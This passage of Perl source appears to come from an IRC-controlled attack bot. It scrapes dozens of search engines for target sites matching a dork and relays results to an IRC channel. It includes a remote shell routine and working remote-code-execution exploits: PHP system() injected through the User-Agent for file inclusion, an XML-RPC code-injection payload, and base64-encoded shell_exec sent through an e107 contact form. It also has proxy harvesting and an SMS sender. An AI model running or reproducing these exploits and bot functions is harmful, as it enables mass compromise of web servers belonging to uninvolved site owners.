| 1970 | my $search = ("http://www.hotbot.com/?query=".&key($key)."&ps=&loc=searchbox&tab=web&mode=search&currProv=msn&page=".$b."&diktfc=51964BFDE35DFB6914F9E1E0D7988C3AC0ACB52B58BE");
| |
| 1971 | my $res = &search_engine_query($search); | |
| 1972 | if ($res =~ m/had no web result/i) {$b=50;}
| |
| 1973 | while ($res =~ m/rel=\"nofollow\" href=\"http:\/\/(.+?)\"/g) {
| |
| 1974 | if ($1 !~ /hotbot\.com/){
| |
| 1975 | my $link = $1; | |
| 1976 | my @grep = &links($link); | |
| 1977 | push(@list,@grep); | |
| 1978 | } | |
| 1979 | } | |
| 1980 | } | |
| 1981 | return @list; | |
| 1982 | } | |
| 1983 | ||
| 1984 | sub aol() {
| |
| 1985 | my @list; | |
| 1986 | my $key = $_[0]; | |
| 1987 | for ($b=2; $b<=50; $b+=1) {
| |
| 1988 | my $search = ("http://aim.search.aol.com/aol/search?q=".&key($key)."&page=".$b);
| |
| 1989 | my $res = &search_engine_query($search); | |
| 1990 | while ($res =~ m/href=\"http:\/\/(.*?)\" property/g) {
| |
| 1991 | if ($1 !~ /aol\.com/){
| |
| 1992 | my $link = $1; | |
| 1993 | my @grep = &links($link); | |
| 1994 | push(@list,@grep); | |
| 1995 | } | |
| 1996 | } | |
| 1997 | } | |
| 1998 | return @list; | |
| 1999 | } | |
| 2000 | ||
| 2001 | sub sapo(){
| |
| 2002 | my @list; | |
| 2003 | my $key = $_[0]; | |
| 2004 | for ($b=1; $b<=50; $b+=1) {
| |
| 2005 | my $search = ("http://pesquisa.sapo.pt/?barra=resumo&cluster=0&format=html&limit=10&location=pt&page=".$b."&q=".&key($key)."&st=local");
| |
| 2006 | my $res = &search_engine_query($search); | |
| 2007 | if ($res !~ m/Next/i) {$b=50;}
| |
| 2008 | while ($res =~ m/<a href=\"http:\/\/(.*?)\"/g) {
| |
| 2009 | if ($1 !~ /\.sapo\.pt/){
| |
| 2010 | my $link = $1; | |
| 2011 | my @grep = &links($link); | |
| 2012 | push(@list,@grep); | |
| 2013 | } | |
| 2014 | } | |
| 2015 | } | |
| 2016 | return @list; | |
| 2017 | } | |
| 2018 | ||
| 2019 | sub duck() {
| |
| 2020 | my @list; | |
| 2021 | my $key = $_[0]; | |
| 2022 | my $b = 0; | |
| 2023 | for ($b=1; $b<=50; $b+=1) {
| |
| 2024 | my $search = ("http://duckduckgo.com/html/?q=".&key($key)."&t=A&l=en&p=1&s=".$b."&o=json&dc=".$b."&api=d.js");
| |
| 2025 | my $res = &search_engine_query($search); | |
| 2026 | if ($res =~ m/No more results/i) {$b=50;}
| |
| 2027 | while ($res =~ m/<a href=\"http:\/\/(.+?)\"/g) {
| |
| 2028 | if ($1 !~ /duckduckgo/){
| |
| 2029 | my $link = $1; | |
| 2030 | my @grep = &links($link); | |
| 2031 | push(@list,@grep); | |
| 2032 | } | |
| 2033 | } | |
| 2034 | } | |
| 2035 | return @list; | |
| 2036 | } | |
| 2037 | ||
| 2038 | sub lygo() {
| |
| 2039 | my @list; | |
| 2040 | my $key = $_[0]; | |
| 2041 | my $b = 0; | |
| 2042 | for ($b=0; $b<=50; $b+=1) {
| |
| 2043 | my $search = ("http://www.hotbot.com/?query=".&key($key)."&ps=&loc=searchbox&tab=web&mode=search&currProv=lygo&page2=".$b."&diktfc=51964BFDE35DFB6914F9E1E0D7988C3AC0ACB52B58BE");
| |
| 2044 | my $res = &search_engine_query($search); | |
| 2045 | if ($res =~ m/had no web result/i) {$b=50;}
| |
| 2046 | while ($res =~ m/<a href=\"http:\/\/(.+?)\"><img/g) {
| |
| 2047 | if ($1 !~ /hotbot\.com/){
| |
| 2048 | my $link = $1; | |
| 2049 | my @grep = &links($link); | |
| 2050 | push(@list,@grep); | |
| 2051 | } | |
| 2052 | } | |
| 2053 | } | |
| 2054 | return @list; | |
| 2055 | } | |
| 2056 | ||
| 2057 | sub yause() {
| |
| 2058 | my @list; | |
| 2059 | my $key = $_[0]; | |
| 2060 | my $b = 0; | |
| 2061 | for ($b=1; $b<=50; $b+=1) {
| |
| 2062 | my $search = ("http://www.yauba.com/?query=".&key($key)."&where=websites&target=websites&con=y&ilang=english&clt=topic&pg=".$b);
| |
| 2063 | my $res = &search_engine_query($search); | |
| 2064 | if ($res !~ m/Next/i) {$b=50;}
| |
| 2065 | while ($res =~ m/<h1><a rel=\"nofollow\" href=\"http:\/\/(.+?)\" onfocus=/g) {
| |
| 2066 | if ($1 !~ /yauba\.com/){
| |
| 2067 | my $link = $1; | |
| 2068 | my @grep = &links($link); | |
| 2069 | push(@list,@grep); | |
| 2070 | } | |
| 2071 | } | |
| 2072 | } | |
| 2073 | return @list; | |
| 2074 | } | |
| 2075 | ||
| 2076 | sub baidu() {
| |
| 2077 | my @list; | |
| 2078 | my $key = $_[0]; | |
| 2079 | my $b = 0; | |
| 2080 | for ($b=0; $b<=500; $b+=10) {
| |
| 2081 | my $search = ("http://www.baidu.com/s?wd=".&key($key)."&pn=".$b);
| |
| 2082 | my $res = &search_engine_query($search); | |
| 2083 | while ($res =~ m/\" href=\"http:\/\/(.*?)\" target=/g) {
| |
| 2084 | if ($1 !~ /baidu\.com/){
| |
| 2085 | my $link = $1; | |
| 2086 | my @grep = &links($link); | |
| 2087 | push(@list,@grep); | |
| 2088 | } | |
| 2089 | } | |
| 2090 | } | |
| 2091 | return @list; | |
| 2092 | } | |
| 2093 | ||
| 2094 | sub kipot() {
| |
| 2095 | my @list; | |
| 2096 | my $key = $_[0]; | |
| 2097 | my $b = 0; | |
| 2098 | for ($b=1; $b<=50; $b+=1) {
| |
| 2099 | my $search = ("http://www.qkport.com/".$b."/web/".&key($key));
| |
| 2100 | my $res = &search_engine_query($search); | |
| 2101 | while ($res =~ m/href=\"http:\/\/(.*?)\" target=\"_top\"/g) {
| |
| 2102 | if ($1 !~ /qkport\.com/){
| |
| 2103 | my $link = $1; | |
| 2104 | my @grep = &links($link); | |
| 2105 | push(@list,@grep); | |
| 2106 | } | |
| 2107 | } | |
| 2108 | } | |
| 2109 | return @list; | |
| 2110 | } | |
| 2111 | ||
| 2112 | sub gibla() { #mati#
| |
| 2113 | my @list; | |
| 2114 | my $key = $_[0]; | |
| 2115 | my $hal = "/search?q=".&key($key); | |
| 2116 | my $search = ("http://www.gigablast.com".$hal);
| |
| 2117 | my $res = &search_engine_query($search); | |
| 2118 | while ($res =~ m/Next 10 Results/) {
| |
| 2119 | $search = ("http://www.gigablast.com".$hal);
| |
| 2120 | while ($res =~ m/<span class=\"url\">(.+?)><\/span>/g) {
| |
| 2121 | my $link = $1; | |
| 2122 | my @grep = &links($link); | |
| 2123 | push(@list,@grep); | |
| 2124 | } | |
| 2125 | if ($res =~ m/<center><a href=\"(.*?)\">/) { $hal = $1; }
| |
| 2126 | $res = &search_engine_query($search); | |
| 2127 | }return @list; | |
| 2128 | } | |
| 2129 | ||
| 2130 | sub black() {
| |
| 2131 | my @list; | |
| 2132 | my $key = $_[0]; | |
| 2133 | my $b = 0; | |
| 2134 | for ($b=0; $b<=50; $b+=1) {
| |
| 2135 | my $search = ("http://blekko.com/ws/".&key($key)."?ft=&p=".$b);
| |
| 2136 | my $cek = $b+1; | |
| 2137 | my $res = &search_engine_query($search); | |
| 2138 | if ($res !~ m/<strong>$b<\/strong>/i) {$b=50;}
| |
| 2139 | while ($res =~ m/class=\"UrlTitleLine\" href=\"http:\/\/(.+?)\"/g) {
| |
| 2140 | if ($1 !~ /blekko/){
| |
| 2141 | my $link = $1; | |
| 2142 | my @grep = &links($link); | |
| 2143 | push(@list,@grep); | |
| 2144 | } | |
| 2145 | } | |
| 2146 | } | |
| 2147 | return @list; | |
| 2148 | } | |
| 2149 | ||
| 2150 | sub onet() {
| |
| 2151 | my @list; | |
| 2152 | my $key = $_[0]; | |
| 2153 | my $b = 0; | |
| 2154 | for ($b=1; $b<=50; $b+=1) {
| |
| 2155 | my $search = ("http://szukaj.onet.pl/".$b.",query.html?qt=".&key($key));
| |
| 2156 | my $res = &search_engine_query($search); | |
| 2157 | while ($res =~ m/<a href=\"http:\/\/(.+?)\"/g) {
| |
| 2158 | if ($1 !~ /webcache|query/){
| |
| 2159 | my $link = $1; | |
| 2160 | my @grep = &links($link); | |
| 2161 | push(@list,@grep); | |
| 2162 | } | |
| 2163 | } | |
| 2164 | } | |
| 2165 | return @list; | |
| 2166 | } | |
| 2167 | ||
| 2168 | sub sizuka() {
| |
| 2169 | my @list; | |
| 2170 | my $key = $_[0]; | |
| 2171 | my $b = 0; | |
| 2172 | for ($b=10; $b<=100; $b+=10) {
| |
| 2173 | my $search = ("http://www.szukacz.pl/szukaj.aspx?ct=polska&pc=polska&q=".&key($key)."&start=".$b);
| |
| 2174 | my $res = &search_engine_query($search); | |
| 2175 | while ($res =~ m/<a title=\"http:\/\/(.+?)\"/g) {
| |
| 2176 | if ($1 !~ /szukacz/){
| |
| 2177 | my $link = $1; | |
| 2178 | my @grep = &links($link); | |
| 2179 | push(@list,@grep); | |
| 2180 | } | |
| 2181 | } | |
| 2182 | } | |
| 2183 | return @list; | |
| 2184 | } | |
| 2185 | ||
| 2186 | sub walla() {
| |
| 2187 | my @list; | |
| 2188 | my $key = $_[0]; | |
| 2189 | my $b = 0; | |
| 2190 | for ($b=0; $b<=50; $b+=1) {
| |
| 2191 | my $search = ("http://search.walla.co.il/?t=0&e=utf&q=".&key($key)."&p=".$b);
| |
| 2192 | my $res = &search_engine_query($search); | |
| 2193 | while ($res =~ m/<td class=sw><a href=\"http:\/\/(.+?)\"/g) {
| |
| 2194 | if ($1 !~ /walla\.co\.il/){
| |
| 2195 | my $link = $1; | |
| 2196 | my @grep = &links($link); | |
| 2197 | push(@list,@grep); | |
| 2198 | } | |
| 2199 | } | |
| 2200 | } | |
| 2201 | return @list; | |
| 2202 | } | |
| 2203 | ||
| 2204 | sub demos() {
| |
| 2205 | my @list; | |
| 2206 | my $key = $_[0]; | |
| 2207 | my $b = 0; | |
| 2208 | for ($b=0; $b<=500; $b+=10) {
| |
| 2209 | my $search = ("http://search.dmoz.org/search/search?q=".&key($key)."&start=".$b."&type=next&all=yes");
| |
| 2210 | my $res = &search_engine_query($search); | |
| 2211 | while ($res =~ m/<a href=\"http:\/\/(.+?)\"/g) {
| |
| 2212 | if ($1 !~ /search|dmoz/){
| |
| 2213 | my $link = $1; | |
| 2214 | my @grep = &links($link); | |
| 2215 | push(@list,@grep); | |
| 2216 | } | |
| 2217 | } | |
| 2218 | } | |
| 2219 | return @list; | |
| 2220 | } | |
| 2221 | ||
| 2222 | sub rose() {
| |
| 2223 | my @list; | |
| 2224 | my $key = $_[0]; | |
| 2225 | my $b = 0; | |
| 2226 | my @langs = ("de","nl","fi","ps","da","en","es","fr","it","no","sv","cs","pl","ru");
| |
| 2227 | foreach my $language (@langs) { $lang = $langs[rand(scalar(@langs))];
| |
| 2228 | for ($b=0; $b<=30; $b+=10) {
| |
| 2229 | my $search = ("http://euroseek.com/system/search.cgi?language=".$lang."&mode=internet&start=".$b."&string=".&key($key));
| |
| 2230 | my $res = &search_engine_query($search); | |
| 2231 | while ($res =~ m/<a href=\"http:\/\/(.+?)\" class=/g) {
| |
| 2232 | if ($1 !~ /euroseek/){
| |
| 2233 | my $link = $1; | |
| 2234 | my @grep = &links($link); | |
| 2235 | push(@list,@grep); | |
| 2236 | } | |
| 2237 | } | |
| 2238 | } | |
| 2239 | }return @list; | |
| 2240 | } | |
| 2241 | ||
| 2242 | sub seznam() {
| |
| 2243 | my @list; | |
| 2244 | my $key = $_[0]; | |
| 2245 | for ($b=1; $b<=500; $b+=10) {
| |
| 2246 | my $search = ("http://search.seznam.cz/?q=".&key($key)."&count=10&pId=SkYLl2GXwV0CZZUQcglt&from=".$b);
| |
| 2247 | my $res = &search_engine_query($search); | |
| 2248 | while ($res =~ m/<a href=\"http:\/\/(.+?)\" title/g) {
| |
| 2249 | if ($1 !~ /seznam/){
| |
| 2250 | my $link = $1; | |
| 2251 | my @grep = &links($link); | |
| 2252 | push(@list,@grep); | |
| 2253 | } | |
| 2254 | } | |
| 2255 | } | |
| 2256 | return @list; | |
| 2257 | } | |
| 2258 | ||
| 2259 | sub tiscali() {
| |
| 2260 | my @list; | |
| 2261 | my $key = $_[0]; | |
| 2262 | for ($b=0; $b<=500; $b+=10) {
| |
| 2263 | my $search = ("http://search.tiscali.it/?tiscalitype=web&collection=web&start=".$b."&q=".&key($key));
| |
| 2264 | my $res = &search_engine_query($search); | |
| 2265 | while ($res =~ m/<a href=\"http:\/\/(.+?)\" onclick/g) {
| |
| 2266 | if ($1 !~ /tiscali/){
| |
| 2267 | my $link = $1; | |
| 2268 | my @grep = &links($link); | |
| 2269 | push(@list,@grep); | |
| 2270 | } | |
| 2271 | } | |
| 2272 | } | |
| 2273 | return @list; | |
| 2274 | } | |
| 2275 | ||
| 2276 | sub naver() {
| |
| 2277 | my @list; | |
| 2278 | my $key = $_[0]; | |
| 2279 | for ($b=1; $b<=500; $b+=10) {
| |
| 2280 | my $search = ("http://web.search.naver.com/search.naver?where=webkr&query=".&key($key)."&docid=0〈=all&f=&srcharea=all&st=s&fd=2&start=".$b."&display=10");
| |
| 2281 | my $res = &search_engine_query($search); | |
| 2282 | while ($res =~ m/<a href=\"http:\/\/(.+?)\"/g) {
| |
| 2283 | if ($1 !~ /naver/){
| |
| 2284 | my $link = $1; | |
| 2285 | my @grep = &links($link); | |
| 2286 | push(@list,@grep); | |
| 2287 | } | |
| 2288 | } | |
| 2289 | } | |
| 2290 | return @list; | |
| 2291 | } | |
| 2292 | ||
| 2293 | ||
| 2294 | ######################################### | |
| 2295 | ||
| 2296 | sub clean() {
| |
| 2297 | my @cln = (); | |
| 2298 | my %visit = (); | |
| 2299 | foreach my $element (@_) {
| |
| 2300 | $element =~ s/\/+/\//g; | |
| 2301 | next if $visit{$element}++;
| |
| 2302 | push @cln, $element; | |
| 2303 | } | |
| 2304 | return @cln; | |
| 2305 | } | |
| 2306 | ||
| 2307 | sub key() {
| |
| 2308 | my $dork = $_[0]; | |
| 2309 | $dork =~ s/ /\+/g; | |
| 2310 | $dork =~ s/:/\%3A/g; | |
| 2311 | $dork =~ s/\//\%2F/g; | |
| 2312 | $dork =~ s/\?/\%3F/g; | |
| 2313 | $dork =~ s/&/\%26/g; | |
| 2314 | $dork =~ s/\"/\%22/g; | |
| 2315 | $dork =~ s/,/\%2C/g; | |
| 2316 | $dork =~ s/\\/\%5C/g; | |
| 2317 | $dork =~ s/@/\%40/g; | |
| 2318 | $dork =~ s/\[/\%5B/g; | |
| 2319 | $dork =~ s/\]/\%5D/g; | |
| 2320 | $dork =~ s/\?/\%3F/g; | |
| 2321 | $dork =~ s/\=/\%3D/g; | |
| 2322 | $dork =~ s/\|/\%7C/g; | |
| 2323 | return $dork; | |
| 2324 | } | |
| 2325 | ||
| 2326 | sub links() {
| |
| 2327 | my @list; | |
| 2328 | my $link = $_[0]; | |
| 2329 | my $host = $_[0]; | |
| 2330 | my $hdir = $_[0]; | |
| 2331 | $hdir =~ s/(.*)\/[^\/]*$/$1/; | |
| 2332 | $host =~ s/([-a-zA-Z0-9\.]+)\/.*/$1/; | |
| 2333 | $host .= "/"; | |
| 2334 | $link .= "/"; | |
| 2335 | $hdir .= "/"; | |
| 2336 | $host =~ s/\/\//\//g; | |
| 2337 | $hdir =~ s/\/\//\//g; | |
| 2338 | $link =~ s/\/\//\//g; | |
| 2339 | push(@list,$link,$host,$hdir); | |
| 2340 | return @list; | |
| 2341 | } | |
| 2342 | ||
| 2343 | sub search_engine_query($) {
| |
| 2344 | my $url = $_[0]; | |
| 2345 | $url =~ s/http:\/\///; | |
| 2346 | my $host = $url; | |
| 2347 | my $query = $url; | |
| 2348 | my $page = ""; | |
| 2349 | $host =~ s/href=\"?http:\/\///; | |
| 2350 | $host =~ s/([-a-zA-Z0-9\.]+)\/.*/$1/; | |
| 2351 | $query =~ s/$host//; | |
| 2352 | if ($query eq "") { $query = "/"; }
| |
| 2353 | eval {
| |
| 2354 | my $sock = IO::Socket::INET->new(PeerAddr=>"$host", PeerPort=>"80", Proto=>"tcp") or return; | |
| 2355 | print $sock "GET $query HTTP/1.0\r\nHost: $host\r\nAccept: */*\r\nUser-Agent: $uagent\r\n\r\n"; | |
| 2356 | my @pages = <$sock>; | |
| 2357 | $page = "@pages"; | |
| 2358 | close($sock); | |
| 2359 | }; | |
| 2360 | return $page; | |
| 2361 | } | |
| 2362 | ||
| 2363 | ######################################### | |
| 2364 | ||
| 2365 | sub shell() {
| |
| 2366 | my $path = $_[0]; | |
| 2367 | my $cmd = $_[1]; | |
| 2368 | if ($cmd =~ /cd (.*)/) {
| |
| 2369 | chdir("$1") || &msg("$path","4,1No such file or directory");
| |
| 2370 | return; | |
| 2371 | } | |
| 2372 | elsif ($pid = fork) { waitpid($pid, 0); }
| |
| 2373 | else { if (fork) { exit; } else {
| |
| 2374 | my @output = `$cmd 2>&1 3>&1`; | |
| 2375 | my $c = 0; | |
| 2376 | foreach my $output (@output) {
| |
| 2377 | $c++; | |
| 2378 | chop $output; | |
| 2379 | &msg("$path","$output");
| |
| 2380 | if ($c == 5) { $c = 0; sleep 2; }
| |
| 2381 | } | |
| 2382 | exit; | |
| 2383 | }} | |
| 2384 | } | |
| 2385 | ||
| 2386 | sub isAdmin() {
| |
| 2387 | my $status = 0; | |
| 2388 | my $nick = $_[0]; | |
| 2389 | if ($nick eq $admin) { $status = 1; }
| |
| 2390 | return $status; | |
| 2391 | } | |
| 2392 | ||
| 2393 | sub msg() {
| |
| 2394 | return unless $#_ == 1; | |
| 2395 | sendraw($IRC_cur_socket, "PRIVMSG $_[0] :$_[1]"); | |
| 2396 | } | |
| 2397 | ||
| 2398 | sub nick() {
| |
| 2399 | return unless $#_ == 0; | |
| 2400 | sendraw("NICK $_[0]");
| |
| 2401 | } | |
| 2402 | ||
| 2403 | sub notice() {
| |
| 2404 | return unless $#_ == 1; | |
| 2405 | sendraw("NOTICE $_[0] :$_[1]");
| |
| 2406 | } | |
| 2407 | ||
| 2408 | sub sendSMS {
| |
| 2409 | ||
| 2410 | my $no = $_[0]; | |
| 2411 | my $pesan = $_[1]; | |
| 2412 | ||
| 2413 | my $site = "sms.rndc.or.id"; | |
| 2414 | my $paths = "/"; | |
| 2415 | ||
| 2416 | ############open konrksi############# | |
| 2417 | my $socksms = IO::Socket::INET->new(Proto=>"tcp",PeerAddr=>"$site",PeerPort=>"80"); | |
| 2418 | ||
| 2419 | ###############cek apakah koneksi berhasil############### | |
| 2420 | if(!$socksms) {die("gak bisa akses $site port 80\r\n");}
| |
| 2421 | ||
| 2422 | #############request data############## | |
| 2423 | print $socksms "GET $paths http/1.1\r\n"; | |
| 2424 | print $socksms "Host: $site\r\n"; | |
| 2425 | print $socksms "Accept: */*\r\n"; | |
| 2426 | print $socksms "User-Agent: Mozilla Firefox\r\n"; | |
| 2427 | print $socksms "Connection: Close\r\n"; | |
| 2428 | print $socksms "\r\n"; | |
| 2429 | ||
| 2430 | ||
| 2431 | #############ambil data,masukan ke dalam ariable array############## | |
| 2432 | my @data = <$socksms>; | |
| 2433 | ||
| 2434 | ##################close socket################### | |
| 2435 | close($socksms); | |
| 2436 | ||
| 2437 | #$data = join("",@data);
| |
| 2438 | #print $data; | |
| 2439 | ||
| 2440 | ########ambil pertanyaan########## | |
| 2441 | #@spertanyaan1 = split("jawab ini : ",$data);
| |
| 2442 | #print @pertanyaan1[1]; | |
| 2443 | #@spertanyaan2 = split(" =",@spertanyaan1[1]);
| |
| 2444 | #print @spertanyaan2[0]; | |
| 2445 | #@spertanyaan3 = split(" ",@spertanyaan2[0]);
| |
| 2446 | #print "angka1= ".@spertanyaan3[0]."\r\n"; | |
| 2447 | #print "angka2= ".@spertanyaan3[2]."\r\n"; | |
| 2448 | #$jawaban = @spertanyaan3[0]+@spertanyaan3[2]; | |
| 2449 | #print "jawaban = $jawaban\r\n"; | |
| 2450 | ||
| 2451 | ||
| 2452 | ||
| 2453 | ###################ambil marguardcode################ | |
| 2454 | #@sguard1 = split("name='mathguard_code' value='",$data);
| |
| 2455 | #print @sguard1[1]; | |
| 2456 | #@sguard2 = split("' /><br />",@sguard1[1]);
| |
| 2457 | #print @sguard2[0]; | |
| 2458 | #$sguard = @sguard2[0]; | |
| 2459 | ||
| 2460 | ############devinisikan data yg diperlukan############# | |
| 2461 | $action = "/"; | |
| 2462 | $Phonenumbers = $no; | |
| 2463 | $Text = $pesan; | |
| 2464 | #$mathguard_answer = $jawaban; | |
| 2465 | #$mathguard_code = $sguard; | |
| 2466 | $via = "main"; | |
| 2467 | $TOMBOL = "Submit"; | |
| 2468 | ||
| 2469 | #################buat data yg akan di post############## | |
| 2470 | # $Post = "Phonenumbers=".$Phonenumbers."&Text=".$Text."&mathguard_answer=".$mathguard_answer."&mathguard_code=".$mathguard_code."&TOMBOL=".$TOMBOL; | |
| 2471 | $Post = "sendtoext=".$Phonenumbers."&smstext=".$Text."&socket=".$via."&submit=".$TOMBOL; | |
| 2472 | $panjang = length $Post; | |
| 2473 | ||
| 2474 | ||
| 2475 | ###############kirim sms############### | |
| 2476 | $socksms = IO::Socket::INET->new(Proto=>"tcp",PeerAddr=>"$site",PeerPort=>"80"); | |
| 2477 | print $socksms "POST $action http/1.1\r\n"; | |
| 2478 | print $socksms "Host: $site\r\n"; | |
| 2479 | print $socksms "Accept: */*\r\n"; | |
| 2480 | print $socksms "User-Agent: Mozilla Firefox\r\n"; | |
| 2481 | print $socksms "Content-type: application/x-www-form-urlencoded\r\n"; | |
| 2482 | print $socksms "Content-length: ".$panjang."\r\n"; | |
| 2483 | print $socksms "Connection: Close\r\n\r\n"; | |
| 2484 | print $socksms $Post; | |
| 2485 | ||
| 2486 | @hasil = <$socksms>; | |
| 2487 | close($socksms); | |
| 2488 | ||
| 2489 | $hasil = join("",@hasil);
| |
| 2490 | if($hasil=~ /SMS sent to/){
| |
| 2491 | return 1; | |
| 2492 | ||
| 2493 | } | |
| 2494 | else{
| |
| 2495 | return 0; | |
| 2496 | } | |
| 2497 | } | |
| 2498 | ||
| 2499 | sub cmdlfi() {
| |
| 2500 | my $browser = LWP::UserAgent->new; | |
| 2501 | my $url = $_[0]; | |
| 2502 | my $cmd = $_[1]; | |
| 2503 | my $chan = $_[2]; | |
| 2504 | my $hie = "j13mbut<?system(\"$cmd 2> /dev/stdout\"); ?>j13mbut"; | |
| 2505 | $browser->agent("$hie");
| |
| 2506 | $browser->timeout(7); | |
| 2507 | $response = $browser->get( $url ); | |
| 2508 | if ($response->content =~ /j13mbut(.*)j13mbut/s) {
| |
| 2509 | &msg("$chan","15,1(4@9CMDLFI15)9 $1");
| |
| 2510 | } else {
| |
| 2511 | &msg("$chan","15,1(4@9CMDLFI15)4 No Output");
| |
| 2512 | } | |
| 2513 | } | |
| 2514 | ||
| 2515 | sub cmdxml() {
| |
| 2516 | my $jed = $_[0]; | |
| 2517 | my $dwa = $_[1]; | |
| 2518 | my $chan = $_[2]; | |
| 2519 | my $userAgent = LWP::UserAgent->new(agent => 'perl post'); | |
| 2520 | $exploit = "<?xml version=\"1.0\"?><methodCall>"; | |
| 2521 | $exploit .= "<methodName>test.method</methodName>"; | |
| 2522 | $exploit .= "<params><param><value><name>',''));"; | |
| 2523 | $exploit .= "echo'bamby';system('".$dwa."');echo'solo';exit;/*</name></value></param></params></methodCall>";
| |
| 2524 | my $response = $userAgent->request(POST $jed,Content_Type => 'text/xml',Content => $exploit); | |
| 2525 | if ($response->content =~ /bamby(.*)solo/s) {
| |
| 2526 | &msg("$chan","15,1(4@9CMDXML15)9 $1");
| |
| 2527 | } else {
| |
| 2528 | &msg("$chan","15,1(4@9CMDXML15)4 No Output");
| |
| 2529 | } | |
| 2530 | } | |
| 2531 | ||
| 2532 | sub cmde107() {
| |
| 2533 | my $path = $_[0]; | |
| 2534 | my $code = $_[1]; | |
| 2535 | my $chan = $_[2]; | |
| 2536 | my $codecmd = encode_base64($code); | |
| 2537 | my $cmd = 'echo(base64_decode("TWJhSE1lVHo=").shell_exec(base64_decode("aWQ=")).base64_decode("Qnlyb2VOZXQ=")).shell_exec(base64_decode("'.$codecmd.'"));';
| |
| 2538 | my $req = HTTP::Request->new(POST => $path); | |
| 2539 | $req->content_type('application/x-www-form-urlencoded');
| |
| 2540 | $req->content("send-contactus=1&author_name=%5Bphp%5D".$cmd."%3Bdie%28%29%3B%5B%2Fphp%5D");
| |
| 2541 | my $ua = LWP::UserAgent->new(agent => $uagent); | |
| 2542 | $ua->timeout(7); | |
| 2543 | my $res = $ua->request($req); | |
| 2544 | my $data = $res->as_string; | |
| 2545 | if ( $data =~ /ByroeNet(.*)/ ){
| |
| 2546 | $mydata = $1; | |
| 2547 | &msg("$chan","15,1(4@9CMDe10715)9 $mydata");
| |
| 2548 | } | |
| 2549 | else { &msg("$chan","15,1(4@9CMDe10715)4 No Output"); }
| |
| 2550 | } | |
| 2551 | ||
| 2552 | sub proxy() {
| |
| 2553 | my $chan = $_[0]; | |
| 2554 | my $reqip= "$_[1]"; | |
| 2555 | for ($b=0; $b<=5; $b+=1) {
| |
| 2556 | my $siteproxy = ("http://www.xroxy.com/proxylist.php?port=&type=Not_transparent&ssl=ssl&country=&latency=3000&reliability=&sort=latency&desc=&pnum=".$b."#table");
| |
| 2557 | $Resul = &get_content($siteproxy); | |
| 2558 | print $Resul; | |
| 2559 | while ($Resul =~ m/proxy&host=(.+?)&port=(.+?)¬es/g) {
| |
| 2560 | my $proip = $1; | |
| 2561 | my $port = $2; | |
| 2562 | my $scansock = IO::Socket::INET->new(PeerAddr => $proip, PeerPort => $port, Proto =>'tcp', Timeout => 2); | |
| 2563 | if ($scansock && $proip =~ /^$reqip/) {
| |
| 2564 | my $url = 'http://www.cmyip.com/index.php'; | |
| 2565 | my $ua = LWP::UserAgent->new(agent => $uagent); | |
| 2566 | $ua->timeout(1); | |
| 2567 | $ENV{HTTP_proxy} = "http://".$proip.":".$port."/";
| |
| 2568 | $ua->env_proxy; | |
| 2569 | my $req = HTTP::Request->new(GET => $url); | |
| 2570 | my $res = $ua->request($req)->content; | |
| 2571 | delete $ENV{HTTP_PROXY};
| |
| 2572 | if ($res =~ m/Quick and Easy way to SEE my IP address/g) {
| |
| 2573 | &msg("$chan","15,1(4@9PROXY15)(4@9My-PROXY15) 13Accept $proip:$port ");
| |
| 2574 | } | |
| 2575 | } | |
| 2576 | } | |
| 2577 | } | |
| 2578 | &msg("$chan","15,1(4@9PROXY15)13 Checking xroxy Finished");
| |
| 2579 | for ($b=0; $b<=5; $b+=1) {
| |
| 2580 | my $siteproxy = ("http://proxies.my-proxy.com/proxy-list-s".$b.".html");
| |
| 2581 | $Resul = &get_content($siteproxy); | |
| 2582 | print $Resul; | |
| 2583 | while ($Resul =~ m/<br>(.+?):(.+?)<br>/g) {
| |
| 2584 | my $proip = $1; | |
| 2585 | my $port = $2; | |
| 2586 | my $scansock = IO::Socket::INET->new(PeerAddr => $proip, PeerPort => $port, Proto =>'tcp', Timeout => 2); | |
| 2587 | if ($scansock && $proip =~ /^$reqip/) {
| |
| 2588 | my $url = 'http://www.cmyip.com/index.php'; | |
| 2589 | my $ua = LWP::UserAgent->new(agent => $uagent); | |
| 2590 | $ua->timeout(1); | |
| 2591 | $ENV{HTTP_proxy} = "http://".$proip.":".$port."/";
| |
| 2592 | $ua->env_proxy; | |
| 2593 | my $req = HTTP::Request->new(GET => $url); | |
| 2594 | my $res = $ua->request($req)->content; | |
| 2595 | delete $ENV{HTTP_PROXY};
| |
| 2596 | if ($res =~ m/Quick and Easy way to SEE my IP address/g) {
| |
| 2597 | &msg("$chan","15,1(4@9PROXY15)(4@13My-Proxy15)13Accept $proip:$port ");
| |
| 2598 | } | |
| 2599 | } | |
| 2600 | } | |
| 2601 | } | |
| 2602 | &msg("$chan","15,1(4@9PROXY15)13 Checking my-proxy Finished");
| |
| 2603 | for ($b=0; $b<=5; $b+=1) {
| |
| 2604 | my $siteproxy = ("http://www.cooleasy.com/?act=list&port=&type=elite&country=&page=".$b);
| |
| 2605 | $Resul = &get_content($siteproxy); | |
| 2606 | print $Resul; | |
| 2607 | while ($Resul =~ m/<td width=170>(.+?)<\/td>/g) {
| |
| 2608 | my $proip = $1; | |
| 2609 | my @port = ("80","8080","3128");
| |
| 2610 | foreach my $port (@port) {
| |
| 2611 | my $scansock = IO::Socket::INET->new(PeerAddr => $proip, PeerPort => $port, Proto =>'tcp', Timeout => 2); | |
| 2612 | if ($scansock && $proip =~ /^$reqip/) {
| |
| 2613 | my $url = 'http://www.cmyip.com/index.php'; | |
| 2614 | my $ua = LWP::UserAgent->new(agent => $uagent); | |
| 2615 | $ua->timeout(1); | |
| 2616 | $ENV{HTTP_proxy} = "http://".$proip.":".$port."/";
| |
| 2617 | $ua->env_proxy; | |
| 2618 | my $req = HTTP::Request->new(GET => $url); | |
| 2619 | my $res = $ua->request($req)->content; | |
| 2620 | delete $ENV{HTTP_PROXY};
| |
| 2621 | if ($res =~ m/Quick and Easy way to SEE my IP address/g) {
| |
| 2622 | &msg("$chan","15,1(4@9PROXY15)(4@13CoolEasy15) 13Accept $proip:$port ");
| |
| 2623 | } | |
| 2624 | } | |
| 2625 | } | |
| 2626 | } | |
| 2627 | } | |
| 2628 | &msg("$chan","9,1(4@9PROXY15)13 Checking cooleasy Finished");
| |
| 2629 | } |
